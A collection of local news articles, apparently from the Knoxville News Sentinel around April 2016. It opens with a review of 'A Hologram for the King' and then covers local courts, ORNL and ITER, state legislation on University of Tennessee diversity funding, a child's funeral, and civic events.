For the most part, Tykwer avoids the kind of culture-clash cuteness that has poisoned many recent Westerner-abroad movies set in Africa, Asia or the Middle East. Not all of his choices work, though, and some diminish the story  particularly his insistence on shoehorning an elegiac tale into a template of uplifting redemption. But the clever fusion of middle-age angst and globalization blues will click with mature audiences.

The movie gets off to a bright, bitter start with a fantasy sequence set to Talking Heads' anti-ode to middle-class angst, "Once in a Lifetime," and Hanks' down-on-his luck Alan Clay wondering "How did I get here?" "Here" being divorced, broke and heading to Jeddah, Saudi Arabia, to oversee a presentation of a whiz-bang teleconferencing system. The pitch is make-or-break for Alan, who got the consulting gig not for his skills but because of a vague social connection to the royal family. Pained over not being able to pay his daughter's college tuition, he sees his potential commission for the deal as life-saving. At the same time, he sees the job as his penance for letting her down.

Hanks creates a man who's one slip from freefall, desperately holding on in increasingly ludicrous circumstances. His old-school salesman's bravado  "What's your name? Where are you from?"  doesn't quite fly in the King's Metropolis of Economy and Trade (KMET), a fictionalized version of King Abdullah Economic City. The partly built dream project rises fitfully from the blank desert like a cross between a construction site and a mirage.

With his "primary contact" as perpetually elusive as the globetrotting king himself, Alan finds himself in Godot-like circumstances. For the team of three bleary-eyed millennials he's supposed to be leading, he has no answers and no authority. They languish day after day in an enormous tent where Wi-Fi is iffy and setting up their high-tech presentation is a challenge, just steps away from a fully functioning, air-conditioned office building.

A friendly Danish payroll contractor (Sidse Babett Knudsen) who's closer to Alan's age has no answers either, but she gives him a bottle of illicit booze, as well as making overtures that he's not willing or able to reciprocate. Alan ascribes his lack of vigor, both general and sexual, to a large growth on his back  an obvious but effective metaphor in this story of symbols. Whether or not the bump is draining him of purpose and strength, it leads him to Zahra Hakem (Sarita Choudhury), a sympathetic doctor who's also an independent Saudi woman. Their deepening involvement accounts for some of the movie's least plausible moments, not because of the performances but because of the mounting coincidences that Tykwer imposes on them.

The focus on the way individuals adapt to and defy custom is one of the smartest aspects of the film. Rather than pumping up an us-vs.-them setup, Hologram zeros in on Alan's existential dislocation  profound jetlag coupled with midlife crisis.

Toward that end, Tykwer and his team of regular collaborators use the striking setting to potent effect. Cinematographer Frank Griebe's widescreen compositions emphasize the desert's empty stretches and its unlikely vertical intrusions (the international production was shot mostly in Morocco). From luminous Vivaldi to the percussive foreboding of compositions by Johnny Klimek and the director, the musical shifts suit the visuals.

With so much right about the film's present-tense drama, it's unfortunate that Tykwer keeps interrupting with repetitive bits of backstory and fumbled flashbacks. Alan's relationship with his daughter (Tracey Fairaway) never acquires the intended emotional urgency. Marginally more successful, if overstated, are references to his role in the downfall of an all-American manufacturer after outsourcing its workforce  something his father (Tom Skerritt) won't forgive him for. Alan Clay is a man who once knew how to sell tangible goods and is now hawking "virtual encountering on a global scale"  cue the hologram, and Ben Whishaw's cameo.

When it isn't trying too hard to be instructive or jokey, Tykwer's film fluently conveys the hard truth of diminished relevance, geopolitical as well as personal. Hanks' portrayal of a man caught between utter defeat and a yearning to begin again is pitch-perfect, from his physical bearing as a walking, talking pinched nerve to such throwaway details as Alan's mispronunciation of "Kierkegaard." Alan Clay may have never taken a philosophy class, but he's looked directly into the abyss.
Ryan McGill photographed the newly renovated Henley Street bridge last month with a Nikon D610 and a 24-85mm lens. McGill is an University of Tennessee journalism student and photo editor of the Tennessee Journalist. See more of his photography at http://rpmcgill.smugmug.com. (RYAN MCGILL/SPECIAL TO THE NEWS SENTINEL)

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The Henley Bridge will be lit up with purple lights until 9 p.m. tonight in honor of the late music star Prince. On her Facebook page Mayor Madeline Rogero announced:

"In response to popular demand, the lights on the Henley Bridge will be purple this evening until 9 p.m. in honor of Prince. After 9 p.m., they will switch to already-planned Italian flag colors in anticipation of tomorrow's Rossini Festival downtown. (But that's OK -- he never wanted to be your weekend lover, he only wanted to be some kind of friend.)"

Underneath the announcement Rogero also included the setlist to Prince's 2004 show at Thompson-Boling Arena.
The ITER (International Thermonuclear Experimental Reactor) 3D plasma equilibrium with ripple contours. This figure shows the ITER plasma surface and toroidal magnetic field coils; color contours indicate local magnetic strength. The wavy structure of the contour lines is caused by deviations from axisymmetry due to the finite number of toroidal field coils and the presence of ferritic materials in three test blanket modules, which are located on one side of the torus. (ORNL image)

The International Thermonuclear Experimental Reactor, the largest fusion project in history and a stepping stone toward harnessing a long-elusive form of energy production, is under development at Cadarache in the south of France.

That's thousands of miles away, but there is a local connection.

The U.S. involvement in ITER is based at Oak Ridge National Laboratory, and that means that continuing controversies regarding the mega project's lengthening schedule and rising costs have ramifications in Oak Ridge.

There have been threats in recent years to curtail U.S. funding for ITER, at least until fiscal responsibility is demonstrated and other issues are brought under control. But it appears a decision on how to proceed is coming to a head, and May 2 may be the pivotal date.

That's when U.S. Energy Secretary Ernest Moniz is supposed to present a report to key congressional appropriations, with a recommendation on how to proceed.

U.S. Sen. Lamar Alexander, R-Tenn., who chairs the Senate Appropriations energy and water subcommittee, oversaw last week's markup of a $37.5 billion Energy and Water Appropriations Bill for Fiscal Year 2017, and it contained zero funds for the U.S. to meet its commitments for ITER.

Besides the United States, the international partners are China, the European Union, Russia, India, South Korea and Japan.

Alexander said he was anxious to hear Moniz's views on the fusion experiment.

"We've been hamstrung a little bit over the past couple of years because Secretary Moniz was recused from dealing with it his first two years (because of the nuclear physicist's previous work at the Massachusetts Institute of Technology)."

The senator said, "Ironically, because he knew so much about it, he wasn't able to tell us what he thought."

Alexander said Moniz will help decide "whether we're going to permanently withdraw (from ITER) or proceed in some other way."

Ned Sauthoff, director of the U.S. effort on ITER, said the Oak Ridge-based team has provided "much data" and analysis for the upcoming report.

DOE will also look at an independent review of a plan presented by ITER Director General Bernard Bigot at the November 2015 Council meeting. Bigot reportedly called for development of a realistic schedule and cost for the project moving forward.

A new assessment of the project's management is also to be considered, as well as the results of special meeting of the ITER Council to be held in Paris next week.

But the biggest report will be the one delivered by Moniz on May 2.

Senior Writer Frank Munger may be reached at 865-342-6329 or frank.munger@knoxnews.com.

More from Frank Munger at "Atomic City Underground:"
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By Jamie Satterfield of the Knoxville News Sentinel

The first federal prosecution in East Tennessee of doctors on pill-mill charges has placed on the examination table a novel legal question  when do prescribers of medicine become drug dealers under federal law?

Two doctors  Deborah Gayle Thomas and James Brian Joyner  face trial later this year under a section of federal drug-trafficking conspiracy law that puts medical providers in the same category as street dealers when they write prescriptions without "a legitimate medical purpose" and outside "the usual course of professional practice."

The pair supervised two physician assistants and five nurse practitioners who prosecutors allege in a 2014 indictment doled out thousands of prescriptions for painkillers and sedatives to patients at the now-defunct Breakthrough Pain Therapy Center on East Broadway in Maryville.

The clinic was owned and operated by husband-and-wife team Randy and Sandra Kincaid. Neither were licensed medical professionals, a loophole in state law that has since been closed in the fight against pill mills. Pain clinics now must be owned and operated by doctors.

Testimony in a federal trial of the Kincaids showed the clinic pulled in roughly $2.5 million in 17 months from July 2009 to December 2010, when authorities raided Breakthrough. At least one overdose death has been linked to the clinic. Both of the Kincaids are now serving decades behind bars.

Of the nine medical providers indicted after the Kincaids were tried and convicted, six have struck plea deals, with each admitting they earned anywhere from $700 to $1,000 a day to dole out prescriptions without medical equipment or even conducting cursory examinations of patients. A seventh defendant, David Brickhouse, died recently in an unrelated car crash.

Attorney Keith Stewart, who represented Brickhouse, and attorneys John Eldridge, who represents Joyner, and Cullen Wojcik and Robert Kurtz, who represent Thomas, argued recently the section of federal law at issue in the case is unconstitutionally vague, putting doctors at risk of prosecution at the whim of authorities, chilling their free-speech rights to practice medicine as they see fit and forcing doctors to choose between the proper care of patients and their own legal necks.

In the first ruling on this test of the government's ability to prosecute opiate prescribers as drug dealers, U.S. Magistrate Judge Clifford Shirley rejected those arguments.

"The court discerns no due process violation in permitting the government to prosecute registered medical professionals when they prescribe controlled substances outside of their statutory authority and do so without a legitimate medical purpose," Shirley wrote.

The judge noted the federal law at issue already has been tested under different circumstances by the U.S. Supreme Court and found constitutional. He also ruled that although the law does not draw a line between medically necessary and illegitimate prescriptions, prosecutors Frank Dale and Jennifer Kolman must prove the conspiracy case against the doctors to a jury.

"The court disagrees that (the laws at issue) leave medical practitioners rudderless and adrift in the murky waters of criminal liability," the judge wrote.

Shirley also rejected the doctors' First Amendment argument, noting the medical professionals have no more right to break the law than do street hustlers.

"(The law) does not restrict an authorized medical provider's right to prescribe controlled substances for legitimate medical purposes, nor does it prevent patients from obtaining controlled substances through an authorized medical practitioner acting within the ordinary course of professional practice," Shirley wrote. "Thus, the (doctors') First Amendment claim only makes sense if the defendants are taking the untenable position that they should be allowed to prescribe controlled substances with no legitimate medical purpose and/or outside the bounds of the usual course of professional practice. The First Amendment does not protect speech that is an integral part of conduct in violation of a valid criminal statute."

The doctors are appealing Shirley's ruling to U.S. District Judge Pamela Reeves. The trial is set to begin June 1.
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By Jamie Satterfield of the Knoxville News Sentinel

What began as a skirmish over property tax revenue on a single tract of real estate seized by the federal government has turned into a war between Knox County government and the U.S. attorney's office, court records show.

The brouhaha began last year when the Knox County Law Director's office complained county coffers had been shorted $16,672 in lost tax revenue in the seizure and resulting forfeiture of the home of one of East Tennessee's most notorious embezzlers  "party mom" Leslie Janous.

Now, the law department is using another notorious case  lauded fashion designer turned confessed illegal gambling operator Marcus Hall  to ratchet up its complaints, accusing the U.S. attorney's office of intentionally robbing local governments of tax revenue through its handling of the forfeiture process as a whole.

"Knox County asserts that the pattern of practice of the United States Attorney in the Eastern District of Tennessee has the effect of depriving local counties and municipalities of the full value of their tax liens without proper notice and an opportunity to be heard," Deputy Law Director Daniel Sanders wrote in a motion filed in U.S. District Court.

The U.S. attorney's office, in turn, has fired back, accusing the law director's office of twisting facts, impeding the forfeiture process and being mean spirited.

"Not only is Knox County needlessly adversarial on this point, it is also wrong," Assistant U.S. Attorney Anne-Marie Svolto wrote in a response. "The United States notes that in this and other related cases, the government is seeking forfeiture of additional real property in Knox County such that disputes over noticing requirements must be resolved before the forfeiture can proceed."

When a suspect federally prosecuted either uses dirty money to buy real estate or uses the real estate as part of a criminal operation, the federal government seizes the property. The U.S. attorney's office is then tasked with either convincing the suspect to voluntarily forfeit the property as part of a plea agreement or a judge to order it forfeited.

The office is required to serve notice of the forfeiture to anyone who might have a legal claim against it  a bank holding the mortgage on property, for instance, or, in this case, a government owed taxes on it. If the claim is deemed legitimate, it is paid from the sale proceeds.

Knox County and the U.S. attorney's office are at odds on two key parts of that process. First, there is a fight over exactly what is required to serve notice on Knox County. The U.S. attorney's office says in court records it need only file a lien with the register of deeds, which it did in the case of Janous.

The law department later cried foul, insisting notice should have been served on Knox County Mayor Tim Burchett. Failure to do so, the department argued, kept the county from mounting a legal fight over its second beef with the federal forfeiture process  that the feds only pay taxes owed up to the date of the forfeiture, not for the period where the property sits unoccupied awaiting a sale. Knox County contends the federal government should continue to pay property taxes so long as it holds the deed and refusing to do so costs local governments tens of thousands of dollars with each property. The U.S. attorney's office counters the law doesn't require that, and the federal government always pays local governments the amounts to which they are legally entitled.

A federal judge sided with the U.S. attorney's office. The law department has appealed the decision to the 6th Circuit U.S. Court of Appeals. It remains pending.

Given that history, though, Svolto opted to notify the law department directly of its forfeiture of properties Hall used proceeds from a $20 million numbers game he and two cohorts have admitted operating in Lonsdale. Sanders again balked, insisting it should be Burchett who was served. Svolto countered Sanders' argument was silly since the law department represents Burchett.

Svolto has asked for an emergency hearing. A date was not available Thursday. Law Director Richard "Bud" Armstrong declined to comment Thursday because the issue is ongoing.

Janous is serving a 110-month sentence for defrauding employer Scancarbon, a precious metals company founded in Knoxville, of $6.6 million over six years. It was one of the largest embezzlement schemes carried out in Knoxville in recent times.

Hall was renown for his raw denim fashion design when a federal probe last year showed he supported his Depot Avenue firm with money from a gambling racket. He is awaiting sentencing in U.S. District Court next month.
By Lydia X. McCoy of the Knoxville News Sentinel

Twelve-year-old JaJuan Hubert Latham was a "ray of sunshine" to those who knew him.

"He was happy; he was bright  you couldn't help but to smile just looking at him," said LaKeisha Knight, a family friend, on Thursday night. "That baby shouldn't be laying in there."

Knight, and her twin sister, DeTesha, were among many family, friends and community members who attended JaJuan's funeral at Overcoming Believers Church on Thursday.

The Bearden Middle School sixth-grader was killed Saturday night in what police have called a gang-related drive-by shooting at Danny Mayfield Park in Knoxville's Mechanicsville neighborhood. Four months earlier, his cousin, 15-year-old Zaevion Dobson, was gunned down while shielding two friends from bullets in the Lonsdale community.

JaJuan was on his way to a movie with father when they stopped by the park to pick up a friend. The boy's father, Hubert Latham, would later say that within minutes of parking, shots rang out and that's when he noticed his son wasn't moving. Latham rushed JaJuan to the University of Tennessee Medical Center, where the boy died shortly after 11 p.m.

Knoxville Police Department spokesman Darrell DeBusk said Thursday that all "people of interest" have been interviewed and released in the case. "We're still conducting a lot of interviews," he said.

DeTesha and LaKeisha Knight noted that there were many children in attendance at the service.

"He impacted a lot of people, young and old," LaKeisha Knight said Thursday outside the church. "But to see those kids crying their hearts out; it hurt me. I held my niece and my goddaughter and to see them crying and feel their pain is just unbelievable. My heart goes out to every single child that's in there; it's a lot of kids in there.  You can tell they're hurt and they want answers, too."

Those who exited the building carried programs  which included a special message from JaJuan's sister and several photos of him on the back cover  and many were still visibly upset.

One man described the church as simply a "canopy of sadness."

Many wore T-shirts with the 12-year-old's photo that included messages such as "Love is the Answer" and "Rest in Peace."

The Knight sisters said they just wanted to attend the service to show their support for the family.

"We knew the family and we just wanted to come and show our love and support and pray with them and mourn with them," LaKeisha Knight said. "But more so in support of mothers. We're mothers and just to show them that we're here and we're a shoulder to lean on and an ear to talk to."

DeTesha Knight said she has lost a child and "that's a hole in your heart that no one can mend."

"Our hearts go out deeply. We sympathize right with them  it takes time. It will take a lot of time," she said.

"Just seeing them in turmoil like that is just saddening because a mother and a father shouldn't have to be burying their child. "

Otis Latham, who is a cousin of JaJuan, traveled from Sweetwater, Tenn., with other family members to attend the service. Each brought a single red rose to the service.

The support for the family over the last couple of days, he said, has been "overwhelming, but a good thing."

He added he hopes the killing stops.

"I live in Sweetwater and I always love to come to Knoxville  but I'm afraid to come to Knoxville now," he said.

"I'm afraid to come and visit. I'm 73 years old; I'm not used to this kind of stuff."

Felix Latham, who is also a family member, said the community response has shown the effect JaJuan had in his 12 years.

"The community coming like this, that lets you know that that little boy is loved here in Knoxville," he said.

"That was senseless what happened. That's just point blank. But seeing all these people like this, it lets you know he was somebody. Just imagine what he could do."
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By News Sentinel Staff

NASHVILLE, Tenn.  A Jefferson County man has been charged with TennCare fraud in connection with the sale of prescription drugs paid for by the state's health care insurance program.

Brian McDaniel, 43, of White Pine, is accused of obtaining the painkiller Oxymorphone and later selling a portion to an undercover informant. The prescription was obtained through Medicare Part B, which is paid for in part by TennCare.

TennCare fraud is a Class E felony carrying a sentence of up to two years in prison. District Attorney General James Dunn is prosecuting.

To date, 2,601 people have been charged with TennCare fraud.

Report suspected TennCare fraud by calling 1-800-433-3982 toll-free from anywhere in Tennessee, or log on to www.tn.gov/tnoig/ and follow the prompts that read "Report TennCare Fraud."
SHARE Alyssa Large, left, Alison Ickes, Marah Rowland and Matthew Ryan of Claiborne High School have some fun during the 2016 News Sentinel Academic Achievers banquet presented by U.S. Cellular at the Knoxville Convention Center on Thursday, April 21, 2016. (Shawn Millsaps/Special to News Sentinel) Katherine Fu, left, Liana Hu, Ronik Shelth and Chris Schult of Farragut High School provide a photo opportunity during the 2016 News Sentinel Academic Achievers banquet presented by U.S. Cellular at the Knoxville Convention Center on Thursday, April 21, 2016. (Shawn Millsaps/Special to News Sentinel) Hunter Shelton, left, Morgan Price, Kristen Weeks and Lacoda Styles of Cosby High School provide a photo opportunity during the 2016 News Sentinel Academic Achievers banquet presented by U.S. Cellular at the Knoxville Convention Center on Thursday, April 21, 2016. (Shawn Millsaps/Special to News Sentinel) Related Photos Photos: The 2016 Academic Achievers banquet

By John Shearer of the Knoxville News Sentinel

Halls High School senior MacKenzie Shea Harrell loves the complexities of science.

"I just think it's really cool to know how things work and biological systems and chemical makeup," she said.

To become one of the Academic Achievers honored Thursday, she also had to learn to maneuver through another kind of complexity  a schedule that included Advancement Placement classes and playing the marimba in the band.

"It's a balance between study time and practice time," she said with a smile.

Harrell and her parents were among more than 900 people who gathered at the Knoxville Convention Center for the Knoxville News Sentinel's 2016 Academic Achievers dinner banquet presented by U.S. Cellular. According to officials, it was the 32nd year in a row the event has been held.

Harrell, who plans to study at Tennessee Tech, called the honor "awesome" and "cool," while Union County High valedictorian Reece Edmondson was also overwhelmed.

"It's a real honor," he said. "I've worked really hard to get here and I'm glad to be here."

His mother, Greta Shoope, who was also a top 10 high school student a generation ago, also was savoring the moment. "I can't even put it into words how proud I am of him," she said of her son, who plans to study engineering at the University of Tennessee.

The feel-good stories were everywhere as the students were dined and presented with certificates.

They were also given some inspiration from several speakers, including keynote addresser Mintha Roach, the president and CEO of the Knoxville Utilities Board.

Encouraging them to be good citizens and leaders who know how to handle success, she offered such advice as learning to recognize right from wrong, making the most of groups with which they belong, and choosing friends wisely. But she also offered some advice for this era when divisiveness rules the political and social landscape.

"We need to be more respectful of each other and disagree without being disagreeable," she said.

U.S. Cellular regional sales director Nathan Waddell encouraged the seniors to be an inspiration to those who follow them. Jack McElroy, News Sentinel editor and the event's emcee, told students to take time to reflect on how far they had come and how much they had accomplished.

The top five students from each of 67 local and regional high schools were honored. Besides being outstanding students, many have also distinguished themselves in other areas, she said.

"They are leaders for sure," said Angie Howell, News Sentinel senior marketing manager.
The Tennessee Highway Patrol and area law enforcement are conducting a "No Refusal" enforcement sweep targeting impaired drivers during the New Year's Eve holiday period. The state's "No Refusal" law allows officers to seek a search warrant for a blood sample if a person arrested for DUI refuses to provide one. (Hayes Hickman/News Sentinel.)

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By News Sentinel Staff

A man was killed and another injured in a two-vehicle, head-on crash Thursday in Anderson County.

Michael J. Hackworth, 42, of Clinton, was killed when his 2002 Honda Accord was struck head-on about 3:46 p.m. on Dutch Valley Road near Shanlever Road in Clinton.

The driver of a 2004 Ford Escape, George E. Ross, 70, of Clinton, crossed the centerline of the roadway while traveling northbound and struck the Honda, according to a report by Tennessee Highway Patrol Trooper Isaiah Lloyd. Ross was injured.

Both drivers were wearing safety belts. Routine alcohol and drug tests were requested for both drivers.

No citations or criminal charges were issued, but the investigation is ongoing.

More details as they develop online and in Saturday's News Sentinel.
ORNL's Spallation Neutron Source building Tuesday, Sep. 30, 2014. (MICHAEL PATRICK/NEWS SENTINEL)

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By Staff And Wire Reports

Oak Ridge National Laboratory last year provided scientific and technical expertise to the team that negotiated the Iranian nuclear agreement in Vienna, and the lab is now reaping benefits from that historic accord.

The Obama administration, according to multiple news reports, is buying 32 tons of heavy water from Iran. Heavy water is a key component in development of nuclear weapons and can be used in certain types of nuclear reactors that produce plutonium, and the deal  estimated at $8.6 million  will reportedly help Iran meet commitments for reducing its stockpile of weapons-making material.

The United States does not currently have a source for producing heavy water, and the deal with Iran will help meet a number of needs.

ORNL has been asked to store the newly acquired supply of heavy water, which is water laden with deuterium, an isotope of hydrogen. The Oak Ridge lab houses the Department of Energy's Isotope Business Office, and it will sell quantities of heavy water to qualified buyers.

Besides that, the lab will use several tons of the heavy water to bolster capabilities at the Spallation Neutron Source, a world-class research facility that produces neutrons for experiments that explore the structure and behavior of materials.

According to ORNL Director Thom Mason, the use of heavy water will greatly enhance the neutron intensity at the SNS and add to the research potential.

Mason said the Spallation Neutron Source plans to use heavy water in cooling loops around the liquid mercury target. The target is pounded by a powerful proton team many times a second  each time ejecting trillions of neutrons that are channeled to research stations for material studies.

ORNL wanted to use heavy water when the Spallation Neutron Source began operations in 2006 and thereafter, but the lab was unable to acquire the necessary amount of high-quality heavy water.

About seven tons of heavy water was acquired years ago from DOE's Savannah River Site in South Carolina, but that was only a third of what was needed. The Y-12 nuclear weapons plant rejected ORNL's request for heavy water, indicating it couldn't spare any of its supply.

Mason said the heavy water will be introduced at SNS in 2017, probably sometime between March and July, when operators replace the "inner reflector plug" that surrounds the target.

Much heat is generated in the area where the proton beam strikes the target vessel.

For the first 10 years of operation, the SNS has used light water in that cooling system. However, there are inherent problems using H2O, because it absorbs neutrons.

By substituting heavy water, the system will generate 10 to 20 percent more neutrons, Mason said, and, generally speaking, more neutrons mean better science.

That's a huge performance gain for a relatively small cost, the ORNL director said. He called the availability of heavy water from Iran "fortuitous."

The boost in neutron production will enhance the ability to perform new experiments with materials, and it will also allow some experiments to be completed more quickly. That will free up more time with some of the SNS research instruments, which are already oversubscribed, Mason said.

The Department of State and the Energy Department said the sales agreement with Iran would be signed Friday in Vienna by officials from the six countries that negotiated the nuclear deal.

DOE's Isotope Business Office will purchase the heavy water from a subsidiary of the Atomic Energy Organization of Iran, for about $8.6 million, officials said.

Heavy water, formed with a hydrogen isotope, is not radioactive but has research and medical applications and can also be used to produce weapons-grade plutonium. Under the nuclear deal, Iran is allowed to use heavy water in its modified Arak nuclear reactor, but must sell any excess supply of both heavy water and enriched uranium on the international market.

Iranian news agencies reported in early March that a deal would soon be finalized. Members of Congress on Friday were criticizing the deal as another example of the Obama administration giving Iran more that it is entitled to. Those concerns have been fueled by indications the administration may be preparing to ease financial restrictions on transactions involving Iran.

Secretary of State John Kerry was to meet Friday with Iran's Foreign Minister Mohammad Javad Zarif to discuss Iranian complaints that it is not getting the sanctions relief it deserves under the nuclear accord.

The Energy Department said the heavy water purchase does not go beyond the scope of the nuclear agreement, and stressed that future purchases were not automatic.

"The United States will not be Iran's customer forever," DOE said in a statement. "It is exclusively Iran's responsibility to find a way to meet its (nuclear deal) commitments, whether that is by selling, diluting or disposing of future stocks of heavy water to remain within the (deal's) limit."

That did not sway congressional Republicans.

"Once again, the Obama administration is handing Iran's radical regime more cash," said U.S. Rep. Ed Royce, R-Calif., the chairman of the House Foreign Affairs Committee. "U.S. purchase of this sensitive material goes well beyond what is required by the nuclear agreement. Far from curbing its nuclear program, this encourages Iran to produce more heavy water to sell  with a stamp of U.S. approval  on the international market."

House Majority Leader Rep. Kevin McCarthy, R-Calif., said the heavy water purchase sets a "dangerous precedent."

Administration officials have repeatedly said the Republican concern is misplaced and denied speculation, fueled in part by comments Kerry himself made after his first meeting with Zarif on Tuesday, that any changes are coming. But, officials said Kerry would likely use the Friday meeting to remind Iranian officials and foreign banks and businesses that certain once-prohibited transactions with Iran are now allowed under U.S. law.

"They will continue to talk about the sanctions relief process, and the degree to which banks, foreign and domestic, as well as institutions foreign and domestic, are evaluating their options under the (nuclear deal) and the degree to which they have before them a sufficient level of understanding to make decisions with respect to sanctions relief," State Department spokesman John Kirby said.

Other officials said Kerry might encourage foreign financial institutions to take advantage of new opportunities with Iran afforded by the sanctions relief. Those officials spoke on condition of anonymity because they were not authorized to discuss the matter publicly.

Iran, as well as European and Asian banks, wants financial restrictions eased, or at the very least, clarified. Despite the relief it was given in the nuclear deal, Iran remains under numerous U.S. sanctions related to its ballistic missile activity, support for terrorism and human rights abuses.

The Obama administration acknowledges that some sanctions relief has been slow. The administration has ruled out giving Iran access to the U.S. financial system.
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By News Sentinel Staff

OLIVER SPRINGS  The result was the same, but the decision this time was made in public.

The Oliver Springs Board of Mayor and Alderman voted 4-1 Thursday with one absent to again elect Cecil Crowe as mayor to fill the unexpired term of Jerry Vann, who resigned in February, citing health issues.

Voting for Crowe were aldermen Robert Miller, Terry Craze, Terry Holland and Don Shillings, while Omer Cox voted against Crowe's appointment. Alderman Jeff Bass was absent.

In the initial secret paper balloting in March, Crowe received one four votes, while Cox and resident Jason Stiltner each had one vote.

That initial balloting was questioned by The News Sentinel. The newspaper contended the process was in violation of state laws pertaining to open meetings and votes taken during those sessions.

"You have to have votes out in the open," Deborah Fisher, executive director of the Tennessee Coalition for Open Government, said when told of the aldermen's voting by secret ballot.

City Judge Joe Van Hook said he recommended a second roll-call vote "since several had questioned the concept of the ballots not being signed." The original vote was then nullified.

A similar secret paper balloting occurred at first Wednesday when the Roane County Board of Education voted 7-3 to offer the school director's job to Leah Rice Watkins of Paris, Tenn. A News Sentinel reporter questioned that move, prompting the board to conduct a roll-call vote where Watkins received the same tally.

The new Oliver Springs mayor will serve the balance of Vann's term, which ends in November 2018. He has said he wants to use his decades of business experience to help improve efficiency and cost effectiveness in the town's government.
By MJ Slaby of the Knoxville News Sentinel

University of Tennessee leaders continued to stress their dedication to diversity and said they were disappointed that a bill to defund the Office for Diversity and Inclusion on the Knoxville campus advanced through the Legislature on Thursday.

"While we are disappointed that the Legislature chose to remove funds from the Office of Diversity and Inclusion, we remain committed to creating a welcoming environment," Chancellor Jimmy Cheek said in a statement released by the university.

The bill passed by the Legislature

The bill moves about $436,000 from the diversity office to scholarships for minority students in engineering for one year. It also prevents state funds from being used in areas that have proved controversial with lawmakers  promoting gender neutral pronouns, promoting or inhibiting religious holidays and supporting the student-run Sex Week. Currently no state funds are used for Sex Week.

UT President Joe DiPietro acknowledged the bill pulls less funding than others proposed by lawmakers this session.

"While we appreciate what could have been an $8 million hit being reduced to $436,000, we continue to be concerned about the loss of those important inclusion and diversity programs impacted by this reduction," DiPietro said in a statement. "We had frequent contact with elected officials over the course of the session, and we hoped the Legislature would understand our need to support and advance a culture of diversity and inclusion on our campuses."

DiPietro and Cheek appeared at a joint meeting of state House education committees in March to discuss diversity programming. Cheek told students Wednesday that he had spoke with Haslam about diversity and the campus was working hard to prevent the bill.

Jennifer Donnals, spokeswoman for Haslam, said in an email Thursday that "the governor will review the bill in its final form before taking any action on it."

Regardless of the bill's advancement, DiPierto and Cheek said diversity is still a top priority. Students, faculty and staff on the UT campus have repeatedly expressed support for the office on campus throughout the spring semester.

"Our commitment to diversity and inclusion has not been diluted. Diversity remains a priority for us and we will continue our efforts to make sure everyone on our campus is valued and respected," Cheek said.

DiPietro echoed the chancellor and said the commitment hasn't changed and he "will be working with Chancellor Cheek to address how he plans to move forward."

The Office for Diversity and Inclusion was created in 2013 along with the position for vice chancellor for diversity and inclusion held by Rickey Hall. Although the Knoxville campus spends about $2.5 million on diversity, the office itself has a budget of $522,241, according to previous figures from UT. Roughly $396,000 is salaries and benefits; the remaining funds are used in operations.
By Richard Locker of the Knoxville News Sentinel

NASHVILLE  State lawmakers on Thursday approved a bill that diverts  for one year only  about $436,000 from the University of Tennessee Office for Diversity and Inclusion and into scholarships for minority students in engineering.

If ultimately approved by Gov. Bill Haslam, that move ends  at least for this year  a push by conservatives angry over the Knoxville campus's annual Sex Week and memorandums to the campus community from the diversity office last year discussing gender-neutral pronouns and ways to make Christmas holiday office parties inclusive for non-Christians.

The bill passed by the Legislature

The diversity bill was one of about a half-dozen issues that kept the General Assembly from adjourning for the year again on Thursday. Lawmakers will return Friday morning to try to work out compromises on how to cut the Hall income tax and how to alter a property tax relief program for totally disabled military veterans and other low-income elderly or disabled homeowners.

Legislators and the Haslam administration have agreed to cut the Hall income tax on stock and dividend income from its current 6 percent to 5 percent and to express the "legislative intent" to make annual cuts until the tax is eliminated. But a pair of conservative anti-tax groups is pressuring Republicans to write the future tax cuts into the bill.

Short of the diversity bill failing altogether, the outcome was the second-best that UT and diversity advocates could have expected. When demands to "defund" diversity programs first surfaced last year, the discussion revolved around $19 million spent throughout public higher education on such diversity efforts as scholarships and faculty recruitment. Later, the Senate Education Committee recommended taking $8 million from UT diversity programs.

The compromise adopted by a House-Senate conference committee and approved by both chambers essentially is the version approved earlier by the full Senate  taking money designated for salaries in the small Office for Diversity and Inclusion, for school year 206-17 only  and using it to fund minority engineering scholarships.

The House version would have permanently diverted the money and earmarked 25 percent of it for "In God We Trust" decals for law enforcement vehicles. The other 75 percent would have funded minority scholarships.

UT President Joe DiPietro said Thursday night, "We had frequent contact with elected officials over the course of the session, and we hoped the Legislature would understand our need to support and advance a culture of diversity and inclusion on our campuses. While we appreciate what could have been an $8 million hit being reduced to $436,000, we continue to be concerned about the loss of those important inclusion and diversity programs impacted by this reduction.

"Our commitment to diversity and inclusion hasn't changed, and I will be working with (UT Knoxville) Chancellor (Jimmy) Cheek to address how he plans to move forward."

The House approved the compromise 63-21; the Senate 27-3.

It also prohibits state funds to be spent by UT "to promote the use of gender neutral pronouns, to promote or inhibit the celebration of religious holidays, or to fund or support sex week."

There were denunciations of the bill on the floors of both chambers, by supporters of diversity efforts who charged that it was too much interference by the Legislature into the university's operations, and by conservatives who complained it didn't go far enough.

"We're sending a disproportionately strong message to UT administrators. I think in future years there may not be an office of diversity," Senate Minority Leader Lee Harris, D-Memphis, said.

Sen. Mike Bell, R-Riceville, said he took exception to Harris' remarks.

"This is a slap on the wrist compared to the foolishness that's come out of this office over the last several years," he argued. "They're lucky we don't shut that office down."

Sens. Richard Briggs and Becky Duncan Massey, both Knoxville Republicans, said their conversations with UT administrators indicate that the university plans to build on the one-time use of $436,000 for minority scholarships.

"UT is looking at this as priming the pump for the future. They think they can use this as a stimulus to generate more funds for scholarships," Briggs said. "I think this has a chance to provide more opportunities for diversity than before."

A third senator from the Knoxville area, Sen. Frank Niceley, R-Strawberry Plains, joined Bell in expressing anger at UT.

"I care for this university, too, but the last several years have been one embarrassment after another," he said, including the departures of former UT presidents in a litany of negative headlines he cited. "There is something wrong at UT Knoxville or we wouldn't be having these embarrassments. If we have to take over and change the management over there, I'm ready."

In the House, Rep. Joe Armstrong, D-Knoxville, said the bill and the publicity about the Legislature's efforts will hurt UT's efforts "to recruit world-class scholars, world-class athletes, world-class researchers."

Rep. Micah Van Huss, R-Jonesborough, the House sponsor of the defunding effort, said, "If the administration of UT doesn't want the Legislature micromanaging, they should clean up their act. Nothing opens the closed mind of an administrator like the sound of a pocketbook snapping shut."
SHARE Chuck Fleischmann, U.S. third congressional district representative from Ooltewah.

By Michael Collins of the Knoxville News Sentinel

WASHINGTON  U.S. Rep. Chuck Fleischmann said Friday he's encouraged by the Navy's response to the request to name a ship the USS Chattanooga in honor of the five servicemen slain in a terrorist attack in the East Tennessee city last summer.

